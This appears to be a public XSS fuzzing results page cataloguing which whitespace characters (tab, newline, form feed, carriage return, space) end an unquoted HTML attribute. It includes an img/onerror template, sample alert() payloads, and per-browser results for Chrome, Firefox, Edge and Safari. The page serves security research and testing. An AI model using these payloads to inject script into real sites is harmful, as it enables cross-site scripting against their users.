Characters that end unencapsulated HTML attribute values
5
5
5
5Characters that can be used to end unencapsulated HTML attribute values.
Created byola456
Created May 14, 2025
Updated May 28, 2025
Detecting browser...
CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src=x$[chr]onerror=log($[i])>Sample payloads
<img src=x0x09onerror=alert(9)><img src=x
onerror=alert(10)><img src=x0x0Conerror=alert(12)><img src=x0x0Donerror=alert(13)><img src=x onerror=alert(32)>Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 5 results
Loading...
Chrome 136.0.0.0 desktop macOS 10.15.7older version
Updated14 May 2025
Found 5 results
Loading...
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 5 results
Loading...
Firefox 138.0 desktop macOS 10.15older version
Updated14 May 2025
Found 5 results
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 5 results
Loading...
Safari 18.4 desktop macOS 10.15.7
Updated14 May 2025
Found 5 results
Loading...